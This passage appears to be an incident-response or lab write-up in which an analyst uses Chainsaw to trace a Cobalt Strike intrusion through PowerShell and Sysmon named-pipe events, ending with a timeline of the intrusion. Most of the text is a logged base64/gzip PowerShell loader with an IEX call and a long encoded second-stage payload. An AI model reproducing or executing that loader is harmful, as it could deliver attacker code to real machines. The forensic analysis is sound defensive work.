VzxOgV+e0pMuF/xHZFD4jt8W5TKqVIul8VvtQzWfp2YVhAe82/2imL+ewflvSs3c/U2sLHE98j/MAbfef3P7Ar+shnyG3sZoo8pE4/yPwH
4bYzZ4w0AAA=="));IEX (New-Object IO.StreamReader(New-Object
IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
timestamp : 2023-08-10T09:23:50.963687+00:00
detections : Suspicious FromBase64String Usage On Gzip Archive - Ps Script;Suspicious Get-WmiObject
Event ID : 4104
Event Data : MessageNumber: 1
MessageTotal: 11
Path: ''
ScriptBlockId: 179735d5-c386-413e-ad06-6b9ff68db5e5
ScriptBlockText: $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAOx9e3/bOK7o//4U2
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
YQRaiisWkUdYyGaFDd+H
PS C:\Users\johndoe\Desktop\chainsaw\output_csv>
The evidence shows two PowerShell stages.
09:21:16 Hidden encoded PowerShell starts
09:21:19 Base64 + GZip payload is decoded and executed
09:23:50 Larger second-stage PowerShell/WMI script begins
I next pivoted into the Beacon-related named-pipe events.
PS C:\Users\johndoe\Desktop\chainsaw\output_csv> $events |
>> Where-Object { $_.detections -match 'CobaltStrike Named Pipe' } |
>> Sort-Object timestamp |
>> Select-Object timestamp, detections, "Event ID", "Event Data" |
>> Format-List
timestamp : 2023-08-10T09:15:14.125534+00:00
detections : CobaltStrike Named Pipe
Event ID : 17
Event Data : EventType: CreatePipe
Image: C:\Windows\System32\rundll32.exe
PipeName: \MSSE-7725-server
ProcessGuid: D875E288-AAA2-64D4-7602-000000000300
ProcessId: 3648
RuleName: '-'
User: DESKTOP-VQJOLVH\johndoe
UtcTime: 2023-08-10 09:15:14.114
timestamp : 2023-08-10T09:15:15.178776+00:00
detections : CobaltStrike Named Pipe
Event ID : 18
Event Data : EventType: ConnectPipe
Image: C:\Windows\System32\rundll32.exe
PipeName: \MSSE-7725-server
ProcessGuid: D875E288-AAA2-64D4-7602-000000000300
ProcessId: 3648
RuleName: technique_id=T1021.002,technique_name=SMB/Windows Admin Shares
User: DESKTOP-VQJOLVH\johndoe
UtcTime: 2023-08-10 09:15:15.177
timestamp : 2023-08-10T09:23:14.743858+00:00
detections : CobaltStrike Named Pipe;Potential Defense Evasion Via Raw Disk Access By Uncommon Tools
Event ID : 17
Event Data : EventType: CreatePipe
Image: \\127.0.0.1\ADMIN$\8ea5559.exe
PipeName: \MSSE-3332-server
ProcessGuid: D875E288-AC82-64D4-AA03-000000000300
ProcessId: 7512
RuleName: '-'
User: NT AUTHORITY\SYSTEM
UtcTime: 2023-08-10 09:23:14.734
timestamp : 2023-08-10T09:23:15.768627+00:00
detections : CobaltStrike Named Pipe;Potential Defense Evasion Via Raw Disk Access By Uncommon Tools
Event ID : 18
Event Data : EventType: ConnectPipe
Image: \\127.0.0.1\ADMIN$\8ea5559.exe
PipeName: \MSSE-3332-server
ProcessGuid: D875E288-AC82-64D4-AA03-000000000300
ProcessId: 7512
RuleName: technique_id=T1021.002,technique_name=SMB/Windows Admin Shares
User: NT AUTHORITY\SYSTEM
UtcTime: 2023-08-10 09:23:15.767
timestamp : 2023-08-10T09:25:07.655908+00:00
detections : CobaltStrike Named Pipe
Event ID : 17
Event Data : EventType: CreatePipe
Image: C:\Windows\system32\rundll32.exe
PipeName: \postex_9778
ProcessGuid: D875E288-ACF3-64D4-B003-000000000300
ProcessId: 6816
RuleName: '-'
User: NT AUTHORITY\SYSTEM
UtcTime: 2023-08-10 09:25:07.653
timestamp : 2023-08-10T09:25:08.130277+00:00
detections : CobaltStrike Named Pipe
Event ID : 18
Event Data : EventType: ConnectPipe
Image: C:\Windows\System32\rundll32.exe
PipeName: \postex_9778
ProcessGuid: D875E288-AC83-64D4-AB03-000000000300
ProcessId: 5468
RuleName: technique_id=T1055; Possible Cobalt Strike post-exploitation jobs.
User: NT AUTHORITY\SYSTEM
UtcTime: 2023-08-10 09:25:08.129
Cobalt Strike Named-Pipe Sequence
- 09:15:14–09:15:15
rundll32.exePID 3648- Created and connected to
\MSSE-7725-server - User:
johndoe - This is the initial Beacon loaded from
payload.dll
- 09:23:14–09:23:15
\\127.0.0.1\ADMIN$\8ea5559.exePID 7512- Running as SYSTEM
- Created
\MSSE-3332-server - Because it uses localhost
ADMIN$, this looks like service/PsExec-style execution used to gain SYSTEM locally, not movement to another host
- 09:25:07–09:25:08
- SYSTEM
rundll32.exeprocesses created/connected to\postex_9778 - PID 5468 connected to the pipe
- This confirms PID 5468 was involved in a Cobalt Strike post-exploitation job
- SYSTEM
Memory showed PID 5468 with parent PID 7512. Chainsaw resolved PID 7512 as:
\\127.0.0.1\ADMIN$\8ea5559.exe
Named-Pipe Conclusion
Initial Beacon PID 3648 created a Cobalt Strike pipe as johndoe.
Later, 8ea5559.exe executed through localhost ADMIN$ as SYSTEM and launched PID 5468.
